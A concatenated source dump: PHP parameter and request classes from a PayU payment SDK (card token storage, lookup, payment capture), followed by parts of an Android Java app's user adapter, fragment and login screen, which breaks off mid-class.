public function testRequestTokeneizer()
{
}
}<file_sep>/src/Parameters/PayUParametersDeleteTokenCreditCard.php
<?php
namespace FuriosoJack\PayUPaymentSDK\Parameters;
/**
* Class PayUParametersDeleteTokenCreditCard
* @package FuriosoJack\PayUPaymentSDK\Parameters
* @author <NAME> - FuriosoJack <<EMAIL>>
*/
class PayUParametersDeleteTokenCreditCard extends PayUParametersAbstract
{
/**
* Inicaliza los parametros requeridos
* @return mixed
*/
protected function initParametersRequired()
{
$this->parametersRequired = [
//Ingresa aquí el identificador del pagador.
PayUParameters::PAYER_ID,
//Ingresa aquí el identificador del token.
PayUParameters::TOKEN_ID
];
$this->parametersMissing = $this->parametersRequired;
}
}<file_sep>/src/Parameters/PayUParametersStoreTokenCard.php
<?php
namespace FuriosoJack\PayUPaymentSDK\Parameters;
use FuriosoJack\PayUPaymentSDK\PayU\util\PayUParameters;
/**
* Class PayUParametersStoreTokenCard
* @package FuriosoJack\PayUPaymentSDK\Parameters
* @author <NAME> - FuriosoJack <<EMAIL>>
*/
class PayUParametersStoreTokenCard extends PayUParametersAbstract
{
/**
* Inicaliza los parametros requeridos
* @return mixed
*/
protected function initParametersRequired()
{
$this->parametersRequired = [
PayUParameters::PAYER_NAME,
//Ingrese aquí el identificador del pagador.
PayUParameters::PAYER_ID,
//Ingrese aquí el documento de identificación del comprador.
PayUParameters::PAYER_DNI,
//Ingrese aquí el número de la tarjeta de crédito
PayUParameters::CREDIT_CARD_NUMBER,
//Ingrese aquí la fecha de vencimiento de la tarjeta de crédito
PayUParameters::CREDIT_CARD_EXPIRATION_DATE,
//Ingrese aquí el nombre de la tarjeta de crédito
PayUParameters::PAYMENT_METHOD,
];
$this->parametersMissing = $this->parametersRequired;
}
}<file_sep>/src/Requests/PayURequestConsultToken.php
<?php
namespace FuriosoJack\PayUPaymentSDK\Requests;
use FuriosoJack\PayUPaymentSDK\PayU\api\PayUResponseCode;
use FuriosoJack\PayUPaymentSDK\PayU\PayUTokens;
/**
* Class PayUConsultToken
* @package FuriosoJack\PayUPaymentSDK\Requests
* @author <NAME> - FuriosoJack <<EMAIL>>
*/
class PayURequestConsultToken extends PayUBasicRequestAbstract
{
/**
* Se define metodo para el envio del request
*/
public function sendRequest()
{
try {
$this->response = PayUTokens::find(
$this->parameters->getParameters()
);
$this->checkResponse();
} catch (\Exception $e) {
$this->errors = $e->getMessage();
}
}
/**
* Se encrara que la respuesta sea satisfactoria
*/
protected function checkResponse()
{
if($this->response->code != PayUResponseCode::SUCCESS){
$this->errors = "Response ".$this->response->code;
}
}
}<file_sep>/tests/TestCase.php
<?php
namespace FuriosoJack\PayUPaymentSDK\Tests;
/**
* Class TestCase
* @package FuriosoJack\PayUPaymentSDK\Tests
* @author <NAME> - FuriosoJack <<EMAIL>>
*/
class TestCase extends \PHPUnit\Framework\TestCase
{
}<file_sep>/src/Requests/PayURequestSetPayment.php
<?php
namespace FuriosoJack\PayUPaymentSDK\Requests;
use FuriosoJack\PayUPaymentSDK\PayU\api\PayUResponseCode;
use FuriosoJack\PayUPaymentSDK\PayU\PayUPayments;
/**
* Class PayUSetPayment
* @package FuriosoJack\PayUPaymentSDK\Requests
* @author <NAME> - FuriosoJack <<EMAIL>>
*/
class PayURequestSetPayment extends PayUBasicRequestAbstract
{
/**
* Se define metodo para el envio del request
* @throws \InvalidArgumentException
* @throws \FuriosoJack\PayUPaymentSDK\PayU\PayUException
*/
public function sendRequest()
{
try {
$this->response = PayUPayments::doAuthorizationAndCapture(
$this->parameters->getParameters()
);
$this->checkResponse();
} catch (\Exception $e) {
$this->errors = $e->getMessage();
}
}
/**
* Se encrara que la respuesta sea satisfactoria
*/
protected function checkResponse()
{
if($this->response->code != PayUResponseCode::SUCCESS){
$this->errors = "Response ".$this->response->code;
}
}
}<file_sep>/src/Parameters/PayUParametersConsultToken.php
<?php
namespace FuriosoJack\PayUPaymentSDK\Parameters;
use FuriosoJack\PayUPaymentSDK\PayU\util\PayUParameters;
/**
* Class PayUParametersConsultToken
* @package FuriosoJack\PayUPaymentSDK\Parameters
* @author <NAME> - FuriosoJack <<EMAIL>>
*/
class PayUParametersConsultToken extends PayUParametersAbstract
{
protected function initParametersRequired()
{
$this->parametersRequired = [
//Ingresa aquí el identificador del pagador.
PayUParameters::PAYER_ID,
//Ingresa aquí el identificador del token.
PayUParameters::TOKEN_ID,
//Ingresa aquí la fecha inicial desde donde filtrar con la fecha final hasta donde filtrar.
//PayUParameters::START_DATE=> "2010-01-01T12:00:00",
//PayUParameters::END_DATE=> "2015-01-01T12:00:00"
];
$this->parametersMissing = $this->parametersRequired;
}
}<file_sep>/src/Requests/PayUBasicRequestAbstract.php
<?php
namespace FuriosoJack\PayUPaymentSDK\Requests;
use FuriosoJack\PayUPaymentSDK\Parameters\PayUParametersAbstract;
/**
* Class PayUBasicRequestAbstract
* @package FuriosoJack\PayUPaymentSDK\Requests
* @author <NAME> - FuriosoJack <<EMAIL>>
*/
abstract class PayUBasicRequestAbstract
{
protected $parameters;
protected $response;
protected $errors;
protected $callBackOnSucess;
protected $callBackOnError;
/**
* Se encarga de setear una clase que herede de PayUParametersAbstract
* @param PayUParametersAbstract
*/
public function setParameters(PayUParametersAbstract $parametersClass){
$this->parameters = $parametersClass;
}
public function getResponse()
{
return $this->response;
}
public function getErrors()
{
return $this->errors;
}
public function clearErrors(){
$this->errors = null;
}
/**
* Se encarga de validar si existen errores validando la varibable errors
* @return bool
*/
public function thereAreErrors()
{
return $this->errors != null ? true : false;
}
/**
* Se define metodo para el envio del request
*/
public abstract function sendRequest();
/**
* Se encrara que la respuesta sea satisfactoria
*/
protected abstract function checkResponse();
/**
* @return mixed
*/
public function getCallBackOnSucess()
{
return $this->callBackOnSucess;
}
/**
* @param mixed $callBackOnSucess
*/
public function setCallBackOnSucess($callBackOnSucess)
{
$this->callBackOnSucess = $callBackOnSucess;
}
/**
* @return mixed
*/
public function getCallBackOnError()
{
return $this->callBackOnError;
}
/**
* @param mixed $callBackOnError
*/
public function setCallBackOnError($callBackOnError)
{
$this->callBackOnError = $callBackOnError;
}
}<file_sep>/src/Parameters/PayUParametersSetPayment.php
<?php
namespace FuriosoJack\PayUPaymentSDK\Parameters;
use FuriosoJack\PayUPaymentSDK\PayU\util\PayUParameters;
/**
* Class PayUParametersSetPaymen
* @package FuriosoJack\PayUPaymentSDK\Parameters
* @author <NAME> - FuriosoJack <<EMAIL>>
*/
class PayUParametersSetPayment extends PayUParametersAbstract
{
/**
* Inicaliza los parametros requeridos
* @return mixed
*/
protected function initParametersRequired()
{
$this->parametersRequired = [
//Ingrese aquí el número de cuotas.
PayUParameters::INSTALLMENTS_NUMBER,
//Ingrese aquí el nombre del pais.
//PayUParameters::COUNTRY,
//Session id del device.
//PayUParameters::DEVICE_SESSION_ID,
//IP del pagadador
//PayUParameters::IP_ADDRESS,
//Cookie de la sesión actual.
//PayUParameters::PAYER_COOKIE,
//Cookie de la sesión actual.
//PayUParameters::USER_AGENT,
// -- Comprador
//Ingrese aquí el nombre del comprador.
PayUParameters::BUYER_NAME,
//Ingrese aquí el email del comprador.
PayUParameters::BUYER_EMAIL,
//Ingrese aquí el teléfono de contacto del comprador.
PayUParameters::BUYER_CONTACT_PHONE,
//Ingrese aquí el documento de contacto del comprador.
//PayUParameters::BUYER_DNI,
//Ingrese aquí la dirección del comprador.
PayUParameters::BUYER_PHONE,
//Ingrese aquí el nombre del pagador.
PayUParameters::PAYER_NAME,
//Ingrese aquí el email del pagador.
PayUParameters::PAYER_EMAIL,
//Ingrese aquí el teléfono de contacto del pagador.
PayUParameters::PAYER_CONTACT_PHONE,
//Ingrese aquí el documento de contacto del pagador.
//PayUParameters::PAYER_DNI,
PayUParameters::PAYER_PHONE,
//DATOS DEL TOKEN CARD
PayUParameters::TOKEN_ID,
//Ingrese aquí el nombre de la tarjeta de crédito
//VISA||MASTERCARD||AMEX||DINERS
PayUParameters::PAYMENT_METHOD,
//Ingrese aquí el identificador de la cuenta.
PayUParameters::ACCOUNT_ID,
//Ingrese aquí el código de referencia.
PayUParameters::REFERENCE_CODE,
//Ingrese aquí la descripción.
PayUParameters::DESCRIPTION,
// -- Valores --
//Ingrese aquí el valor.
PayUParameters::VALUE,
//Ingrese aquí la moneda.
PayUParameters::CURRENCY
];
$this->parametersMissing = $this->parametersRequired;
}
} | a433a9a9b0c66ea4419450d59517b712716d5232 | [
"Markdown",
"PHP"
] | 12 | Markdown | FuriosoJack/PayU-Payment-SDK | 451986f7c266149e1e783b3d80b74397b7cda955 | 15a64526bb003c66316ab949b2bf1d16e3fb1f63 | |
refs/heads/main | <file_sep>package com.example.movieslillbox.presentation.detail
import androidx.lifecycle.ViewModel
class DetailMovieViewModel : ViewModel() {
// TODO: Implement the ViewModel
}<file_sep>package com.example.movieslillbox.presentation.main
import androidx.lifecycle.MutableLiveData
import androidx.lifecycle.ViewModel
import androidx.lifecycle.viewModelScope
import com.example.movieslillbox.data.api.MovieRetrofitService
import com.example.movieslillbox.data.models.Movie
import com.example.movieslillbox.utils.BASE_URL
import com.google.gson.Gson
import kotlinx.coroutines.launch
import retrofit2.Retrofit
import retrofit2.converter.gson.GsonConverterFactory
class MainViewModel : ViewModel() {
val movieListData: MutableLiveData<List<Movie>> = MutableLiveData()
init {
val retrofit = Retrofit.Builder()
.baseUrl(BASE_URL)
.addConverterFactory(GsonConverterFactory.create(Gson()))
.build()
val api = retrofit.create(MovieRetrofitService::class.java)
viewModelScope.launch {
val result = api.getPopularMovie()
result.body()?.movies.let {
movieListData.postValue(it)
}
}
}
}<file_sep>package com.example.movieslillbox.utils
import android.widget.ImageView
import androidx.fragment.app.Fragment
import androidx.fragment.app.FragmentTransaction
import com.bumptech.glide.Glide
import com.example.movieslillbox.R
fun ImageView.downloadAndSetImage(url: String) {
Glide
.with(APP_ACTIVITY)
.load(url)
.centerCrop()
.placeholder(R.drawable.placeholder)
.into(this)
}
fun replaceToFragment(fragment: Fragment) {
APP_ACTIVITY.supportFragmentManager.beginTransaction()
.replace(R.id.container_fragment, fragment)
.addToBackStack(null)
.setTransition(FragmentTransaction.TRANSIT_FRAGMENT_FADE)
.commit()
}<file_sep>package com.example.movieslillbox.utils
import com.example.movieslillbox.MainActivity
const val API_KEY = "<KEY>"
const val BASE_URL = "https://api.themoviedb.org/3/"
const val POSTER_BASE_URL = "https://image.tmdb.org/t/p/w342"
lateinit var APP_ACTIVITY:MainActivity<file_sep>"# MovieSkillbox"
<file_sep>package com.example.movieslillbox.data.models
import com.google.gson.annotations.SerializedName
data class DetailMovie(
val id: Int,
val overview: String,
@SerializedName("poster_path")
val posterPath: String,
val runtime: Int,
val title: String,
@SerializedName("vote_average")
val rating: Double
)<file_sep>package com.example.movieslillbox.data.api
import com.example.movieslillbox.data.models.DetailMovie
import com.example.movieslillbox.data.models.MovieResponse
import com.example.movieslillbox.utils.API_KEY
import retrofit2.Response
import retrofit2.http.GET
import retrofit2.http.Path
import retrofit2.http.Query
interface MovieRetrofitService {
@GET("movie/popular")
suspend fun getPopularMovie(@Query("api_key") apiKey:String = API_KEY) : Response<MovieResponse>
@GET("movie/{movie_id}")
suspend fun getMovieDetails(@Path("movie_id") id: Int): Response<DetailMovie>
}<file_sep>package com.example.movieslillbox.presentation.detail
import android.os.Bundle
import androidx.fragment.app.Fragment
import androidx.lifecycle.ViewModelProvider
import com.example.movieslillbox.R
import com.example.movieslillbox.utils.downloadAndSetImage
import kotlinx.android.synthetic.main.detail_movie_fragment.*
class DetailMovieFragment : Fragment(R.layout.detail_movie_fragment) {
companion object {
fun newInstance() = DetailMovieFragment()
}
private lateinit var viewModel: DetailMovieViewModel
override fun onActivityCreated(savedInstanceState: Bundle?) {
super.onActivityCreated(savedInstanceState)
viewModel = ViewModelProvider(this).get(DetailMovieViewModel::class.java)
val bundle = this.arguments
movie_title_textView.text = bundle?.getString("title")
release_date_textView.text = bundle?.getString("releaseDate")
vote_average_textView.text = bundle?.getString("voteAverage")
original_language_text_view.text = bundle?.getString("originalLanguage")
overview_textView.text = bundle?.getString("overview")
val posterUrl = bundle?.getString("poster")
movie_poster_imageView.downloadAndSetImage(posterUrl.toString())
}
}<file_sep>package com.example.movieslillbox.presentation.main.recyclerView
import android.os.Bundle
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.ImageView
import android.widget.TextView
import androidx.recyclerview.widget.RecyclerView
import com.example.movieslillbox.R
import com.example.movieslillbox.data.models.Movie
import com.example.movieslillbox.presentation.detail.DetailMovieFragment
import com.example.movieslillbox.utils.POSTER_BASE_URL
import com.example.movieslillbox.utils.downloadAndSetImage
import com.example.movieslillbox.utils.replaceToFragment
class MovieAdapter(private val movieList: List<Movie>) :
RecyclerView.Adapter<MovieAdapter.MovieHolder>() {
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): MovieHolder {
val view =
LayoutInflater.from(parent.context).inflate(R.layout.main_fragment_item, parent, false)
return MovieHolder(view)
}
override fun getItemCount(): Int = movieList.size
override fun onBindViewHolder(holder: MovieHolder, position: Int) {
holder.bindData(movieList, position)
}
class MovieHolder(view: View) : RecyclerView.ViewHolder(view) {
private val title: TextView = itemView.findViewById(R.id.title_textView)
private val voteAvg: TextView = itemView.findViewById(R.id.vote_average_textView)
private val poster: ImageView = itemView.findViewById(R.id.poster_imageView)
fun bindData(list: List<Movie>, position: Int) {
val moviePosterURL = POSTER_BASE_URL + list[position].posterPath
title.text = list[position].title
voteAvg.text = list[position].voteAverage
poster.downloadAndSetImage(moviePosterURL)
itemView.setOnClickListener {
val bundle = Bundle()
bundle.putString("title", list[position].title)
bundle.putString("releaseDate", list[position].releaseDate)
bundle.putString("originalLanguage", list[position].originalLanguage)
bundle.putString("overview", list[position].overview)
bundle.putString("voteAverage", list[position].voteAverage)
bundle.putString("poster", moviePosterURL)
val detailMovieFragment = DetailMovieFragment()
detailMovieFragment.arguments = bundle
replaceToFragment(detailMovieFragment)
}
}
}
}
<file_sep>package com.example.movieslillbox.presentation.main
import android.os.Bundle
import androidx.fragment.app.Fragment
import androidx.lifecycle.Observer
import androidx.lifecycle.ViewModelProvider
import com.example.movieslillbox.R
import com.example.movieslillbox.presentation.main.recyclerView.GridAutofitLayoutManager
import com.example.movieslillbox.presentation.main.recyclerView.MovieAdapter
import com.example.movieslillbox.utils.APP_ACTIVITY
import kotlinx.android.synthetic.main.main_fragment.*
class MainFragment : Fragment(R.layout.main_fragment) {
companion object {
fun newInstance() = MainFragment()
}
private lateinit var viewModel: MainViewModel
override fun onActivityCreated(savedInstanceState: Bundle?) {
super.onActivityCreated(savedInstanceState)
viewModel = ViewModelProvider(this).get(MainViewModel::class.java)
initRecyclerView()
}
private fun initRecyclerView() {
val columnWidth = APP_ACTIVITY.resources.getDimension(R.dimen.poster_width).toInt()
val recyclerList = main_recycler_view.apply {
setHasFixedSize(true)
layoutManager =
GridAutofitLayoutManager(
APP_ACTIVITY,
columnWidth
)
}
viewModel.movieListData.observe(viewLifecycleOwner, Observer {
recyclerList?.adapter = MovieAdapter(it)
})
}
}<file_sep>package com.example.movieslillbox
import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity
import com.example.movieslillbox.presentation.main.MainFragment
import com.example.movieslillbox.utils.APP_ACTIVITY
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.main_activity)
APP_ACTIVITY = this
if (savedInstanceState == null) {
supportFragmentManager.beginTransaction()
.replace(R.id.container_fragment, MainFragment.newInstance())
.commitNow()
}
}
} | f2fdf5ef27d2ab6e8b51560ee1f71f103ef11459 | [
"Markdown",
"Kotlin"
] | 11 | Kotlin | bbahtiarov/MovieSkillbox | bcf51d00e15f13502b2084d2c2015791825a24b9 | 978b881f40d55bdcc50695822aeb4a02e33e8d4d | |
refs/heads/master | <file_sep>package joanat.freelance.com.joanaty.Users;
import android.app.AlertDialog;
import android.content.Context;
import android.support.annotation.NonNull;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.TextView;
import com.squareup.picasso.Picasso;
import java.util.List;
import de.hdodenhof.circleimageview.CircleImageView;
import joanat.freelance.com.joanaty.R;
public class UserAdapter extends RecyclerView.Adapter<UserAdapter.Vholder> {
Context context;
List<User> agents;
// View message;
//
// Button message_send;
// EditText message_title, message_content;
// Spinner message_type , message_template;
// ImageButton close;
// ArrayList<String> MessageList, indexOfMessageList;
// LoginDatabae loginDatabae;
// Cursor cursor;
// int userid, shopid;
public UserAdapter(Context context, List<User> agents) {
this.context = context;
this.agents = agents;
// loginDatabae = new LoginDatabae(context);
// cursor = loginDatabae.ShowData();
}
@NonNull
@Override
public Vholder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) {
View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.adapter_user, parent, false);
// while (cursor.moveToNext()) {
// userid = Integer.parseInt(cursor.getString(2));
// shopid = Integer.parseInt(cursor.getString(3));
//
// }
return new Vholder(view);
}
@Override
public void onBindViewHolder(@NonNull Vholder holder, final int position) {
if (!agents.get(position).getImage().isEmpty()) {
Picasso.with(context).load(agents.get(position).getImage()).into(holder.image);
}
holder.name.setText(agents.get(position).getName());
holder.pass.setText(agents.get(position).getPassword());
if (agents.get(position).getType() == 0)
holder.type.setText("مستخدم");
else
holder.type.setText("مدير");
holder.lastlogin.setText(agents.get(position).getLastLoginTime());
// holder.id.setText(agents.get(position).getId());
// holder.name.setText(agents.get(position).getName());
// holder.num.setText(agents.get(position).getNum());
//
// holder.start.setOnClickListener(new View.OnClickListener() {
// @Override
// public void onClick(View v) {
// final LayoutInflater inflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
//
// message = inflater.inflate(R.layout.dialog_message_talabat, null);
//
// message_type = message.findViewById(R.id.messagetype);
// message_template = message.findViewById(R.id.message_type);
// message_title = message.findViewById(R.id.messagetitle);
// message_content = message.findViewById(R.id.messagecontent);
// message_send = message.findViewById(R.id.send);
// close = message.findViewById(R.id.close);
//
// loadSpinnerTemplate();
//
// message_type.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
// @Override
// public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
// if (message_type.getSelectedItem().toString().equals("الكل")) {
//
// message_title.setVisibility(View.VISIBLE);
// message_content.setVisibility(View.VISIBLE);
//
// } else if (message_type.getSelectedItem().toString().equals("رساله نصيه")) {
//
// message_title.setVisibility(View.GONE);
// message_content.setVisibility(View.VISIBLE);
// message_send.setText("إرسال");
//// if (sdk < Build.VERSION_CODES.JELLY_BEAN) {
//// message_send.setBackgroundDrawable(ContextCompat.getDrawable(context, R.drawable.button_shape));
//// } else {
//// message_send.setBackground(ContextCompat.getDrawable(context, R.drawable.button_shape));
//// }
// } else if (message_type.getSelectedItem().toString().equals("رساله عبر الإيميل")) {
// message_title.setVisibility(View.VISIBLE);
// message_content.setVisibility(View.VISIBLE);
// message_send.setText("إرسال");
//// if (sdk < Build.VERSION_CODES.JELLY_BEAN) {
//// message_send.setBackgroundDrawable(ContextCompat.getDrawable(context, R.drawable.button_shape));
//// } else {
//// message_send.setBackground(ContextCompat.getDrawable(context, R.drawable.button_shape));
//// }
// }
// }
//
// @Override
// public void onNothingSelected(AdapterView<?> parent) {
//
// }
// });
//
//
// final AlertDialog.Builder builder = new AlertDialog.Builder(context);
// builder.setTitle("مراسله")
// .setCancelable(false)
// .setView(message)
// .setNegativeButton("اغلاق", new DialogInterface.OnClickListener() {
// @Override
// public void onClick(DialogInterface dialog, int which) {
// // Do Nothing
// clearMessageView();
// dialog.dismiss();
// }
// });
// final AlertDialog dialog2 = builder.create();
// dialog2.show();
// dialog2.getWindow().setLayout(1200, 800);
//
// closeMessage(dialog2);
// message_send.setOnClickListener(new View.OnClickListener() {
// @Override
// public void onClick(View v) {
// submitMessage(dialog2, message_type.getSelectedItem().toString(), position);
// }
// });
// }
// });
}
@Override
public int getItemCount() {
return agents.size();
}
public class Vholder extends RecyclerView.ViewHolder {
CircleImageView image;
TextView name, pass, type, lastlogin;
public Vholder(View itemView) {
super(itemView);
pass = itemView.findViewById(R.id.password);
type = itemView.findViewById(R.id.type);
name = itemView.findViewById(R.id.name);
lastlogin = itemView.findViewById(R.id.last_login);
image = itemView.findViewById(R.id.image);
}
}
private void submitMessage(AlertDialog dialog, String s) {
// clearMessageView();
if (s.equals("مكالمه تليفونيه")) {
dialog.dismiss();
} else if (s.equals("رساله نصيه")) {
dialog.dismiss();
} else if (s.equals("رساله عبر الإيميل")) {
dialog.dismiss();
}
}
// private void closeMessage(final Dialog dialog) {
// close.setOnClickListener(new View.OnClickListener() {
// @Override
// public void onClick(View v) {
// clearMessageView();
// dialog.dismiss();
// }
// });
// }
//
// private void clearMessageView() {
// if (message != null) {
// ViewGroup parent = (ViewGroup) message.getParent();
// if (parent != null) {
// parent.removeAllViews();
// }
// }
// }
//
// private void submitMessage(AlertDialog dialog, String c, int s) {
//
// if (message_type.getSelectedItem().toString().equals("الكل")) {
//
//// Intent intent = new Intent(Intent.ACTION_SEND);
//// intent.setType("message/rfc822");
//// intent.putExtra(Intent.EXTRA_EMAIL, "<EMAIL>");
//// intent.putExtra(Intent.EXTRA_SUBJECT, message_title.getText().toString());
//// intent.putExtra(Intent.EXTRA_TEXT, message_content.getText().toString());
//// Intent intent1 = new Intent(Intent.ACTION_VIEW, Uri.parse("sms:" + talabats.get(s).getPhone()));
//// intent1.putExtra("sms_body", message_content.getText().toString());
//// try {
//// context.startActivity(Intent.createChooser(intent, "إرسال عبر ..."));
//// context.startActivity(Intent.createChooser(intent1, "إرسال عبر ..."));
//// } catch (android.content.ActivityNotFoundException ex) {
//// Toast.makeText(context, "لا يتواجد اى بريد الكترونى هنا!", Toast.LENGTH_SHORT).show();
//// }
//
// submitMessage(message_content.getText().toString(),message_title.getText().toString(),message_template.getSelectedItem().toString(),1);
//
// } else if (message_type.getSelectedItem().toString().equals("رساله نصيه")) {
//
//// Intent intent1 = new Intent(Intent.ACTION_VIEW, Uri.parse("sms:" + talabats.get(s).getPhone()));
//// intent1.putExtra("sms_body", message_content.getText().toString());
//// try {
//// context.startActivity(Intent.createChooser(intent1, "إرسال عبر ..."));
//// } catch (android.content.ActivityNotFoundException ex) {
//// Toast.makeText(context, "لا يتواجد اى بريد الكترونى هنا!", Toast.LENGTH_SHORT).show();
//// }
////
//// } else if (message_type.getSelectedItem().toString().equals("رساله عبر الإيميل")) {
//// Intent intent = new Intent(Intent.ACTION_SEND);
//// intent.setType("message/rfc822");
//// intent.putExtra(Intent.EXTRA_EMAIL, "<EMAIL>");
//// intent.putExtra(Intent.EXTRA_SUBJECT, message_title.getText().toString());
//// intent.putExtra(Intent.EXTRA_TEXT, message_content.getText().toString());
//// try {
//// context.startActivity(Intent.createChooser(intent, "إرسال عبر ..."));
//// } catch (android.content.ActivityNotFoundException ex) {
//// Toast.makeText(context, "لا يتواجد اى بريد الكترونى هنا!", Toast.LENGTH_SHORT).show();
//// }
// submitMessage(message_content.getText().toString(),message_title.getText().toString(),message_template.getSelectedItem().toString(),3);
//
// }else if (message_type.getSelectedItem().toString().equals("رساله عبر الإيميل")){
// submitMessage(message_content.getText().toString(),message_title.getText().toString(),message_template.getSelectedItem().toString(),2);
// }
//
// clearMessageView();
// dialog.dismiss();
//
// }
//
// private void loadSpinnerTemplate() {
//
// MessageList = new ArrayList<>();
// indexOfMessageList = new ArrayList<>();
//
// MessageList.add("--اختر--");
// indexOfMessageList.add("0");
// RequestQueue requestQueue = Volley.newRequestQueue(context);
// StringRequest stringRequest = new StringRequest(Request.Method.POST, "http://www.sellsapi.rivile.com/order/SelectSendsMessages", new Response.Listener<String>() {
// @Override
// public void onResponse(String response) {
// try {
// JSONObject jsonObject = new JSONObject(response);
//
// JSONArray jsonArray = jsonObject.getJSONArray("SendsMessages");
// for (int i = 0; i < jsonArray.length(); i++) {
// JSONObject jsonObject1 = jsonArray.getJSONObject(i);
// String name = jsonObject1.getString("Name");
// String id = jsonObject1.getString("Id");
// indexOfMessageList.add(id);
// MessageList.add(name);
//
// }
//
// message_template.setAdapter(new ArrayAdapter<String>(context, android.R.layout.simple_spinner_dropdown_item, MessageList));
// } catch (JSONException e) {
// e.printStackTrace();
// }
// }
// }, new Response.ErrorListener() {
// @Override
// public void onErrorResponse(VolleyError error) {
// LayoutInflater inflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
//
// View layout = inflater.inflate(R.layout.toast_warning,null);
//
// TextView text = (TextView) layout.findViewById(R.id.txt);
//
// if (error instanceof ServerError)
// text.setText("خطأ فى الاتصال بالخادم");
// else if (error instanceof TimeoutError)
// text.setText("خطأ فى مدة الاتصال");
// else if (error instanceof NetworkError)
// text.setText("شبكه الانترنت ضعيفه حاليا");
//
// Toast toast = new Toast(context);
// toast.setGravity(Gravity.BOTTOM, 0, 0);
// toast.setDuration(Toast.LENGTH_LONG);
// toast.setView(layout);
// toast.show();
// }
// }){
// @Override
// protected Map<String, String> getParams() throws AuthFailureError {
// HashMap hashMap = new HashMap();
// hashMap.put("token", "<PASSWORD>");
// return hashMap;
// }
// };
// int socketTimeout = 30000;
// RetryPolicy policy = new DefaultRetryPolicy(socketTimeout, 2, DefaultRetryPolicy.DEFAULT_BACKOFF_MULT);
// stringRequest.setRetryPolicy(policy);
// requestQueue.add(stringRequest);
// }
//
// private void submitMessage(final String Mes, final String sub, final String Res, final int option) {
//
// final ProgressDialog progressDialog = new ProgressDialog(context);
// progressDialog.setMessage("انتظر من فضلك ...");
// progressDialog.setCancelable(false);
// progressDialog.show();
// StringRequest stringRequest = new StringRequest(Request.Method.POST, "http://www.sellsapi.rivile.com/Send/Send",
// new Response.Listener<String>() {
// @Override
// public void onResponse(String response) {
//
// progressDialog.dismiss();
// Log.e("Response",response);
// if (response.equals("\"Success\"")) {
//
// LayoutInflater inflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
//
// View layout = inflater.inflate(R.layout.toast_info,null);
//
// TextView text = (TextView) layout.findViewById(R.id.txt);
// text.setText("تمت تنفيذ العملية");
//
// Toast toast = new Toast(context);
// toast.setGravity(Gravity.BOTTOM, 0, 0);
// toast.setDuration(Toast.LENGTH_LONG);
// toast.setView(layout);
// toast.show();
//
// } else {
//
// LayoutInflater inflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
//
// View layout = inflater.inflate(R.layout.toast_error,null);
//
// TextView text = (TextView) layout.findViewById(R.id.txt);
// text.setText("حدث خطأ اثناء اجراء العمليه");
//
// Toast toast = new Toast(context);
// toast.setGravity(Gravity.BOTTOM, 0, 0);
// toast.setDuration(Toast.LENGTH_LONG);
// toast.setView(layout);
// toast.show();
// }
//
// }
// }, new Response.ErrorListener() {
// @Override
// public void onErrorResponse(VolleyError error) {
// progressDialog.dismiss();
//
// LayoutInflater inflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
//
// View layout = inflater.inflate(R.layout.toast_warning,null);
//
// TextView text = (TextView) layout.findViewById(R.id.txt);
//
// if (error instanceof ServerError)
// text.setText("خطأ فى الاتصال بالخادم");
// else if (error instanceof TimeoutError)
// text.setText("خطأ فى مدة الاتصال");
// else if (error instanceof NetworkError)
// text.setText("شبكه الانترنت ضعيفه حاليا");
//
// Toast toast = new Toast(context);
// toast.setGravity(Gravity.BOTTOM, 0, 0);
// toast.setDuration(Toast.LENGTH_LONG);
// toast.setView(layout);
// toast.show();
// }
// }) {
// @Override
// protected Map<String, String> getParams() {
// HashMap hashMap = new HashMap();
// hashMap.put("Mes", Mes);
// hashMap.put("Res", Res + "");
// hashMap.put("options", option + "");
// hashMap.put("Sub", sub + "");
// hashMap.put("UserId", userid+"");
// hashMap.put("token", "<PASSWORD>");
// return hashMap;
// }
// };
//// Volley.newRequestQueue(context).add(stringRequest);
// stringRequest.setRetryPolicy(new DefaultRetryPolicy(
// DefaultRetryPolicy.DEFAULT_TIMEOUT_MS,
// 2, // maxNumRetries = 2 means no retry
// DefaultRetryPolicy.DEFAULT_BACKOFF_MULT));
// Volley.newRequestQueue(context).add(stringRequest);
//
// }
}
<file_sep>package joanat.freelance.com.joanaty.SellBell;
import android.os.Bundle;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
import android.support.v4.app.Fragment;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import java.util.ArrayList;
import java.util.List;
import joanat.freelance.com.joanaty.R;
public class FragmentHome extends Fragment {
View view;
RecyclerView recyclerView;
RecyclerView.Adapter adapter;
List<ProductInBellSell> productInBellSellList;
@Nullable
@Override
public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
view = inflater.inflate(R.layout.fragment_sell_bell, container, false);
LinearLayoutManager layoutManager = new LinearLayoutManager(getActivity(), LinearLayoutManager.VERTICAL, false);
recyclerView = (RecyclerView) view.findViewById(R.id.rec);
recyclerView.setLayoutManager(layoutManager);
productInBellSellList = new ArrayList<>();
return view;
}
@Override
public void onStart() {
super.onStart();
productInBellSellList.add(new ProductInBellSell());
adapter = new SellBellAdapter(getActivity(), productInBellSellList);
recyclerView.setAdapter(adapter);
}
}
<file_sep>package joanat.freelance.com.joanaty;
import android.content.Intent;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Switch;
public class Login extends AppCompatActivity {
EditText username, pass;
Button login;
@Override
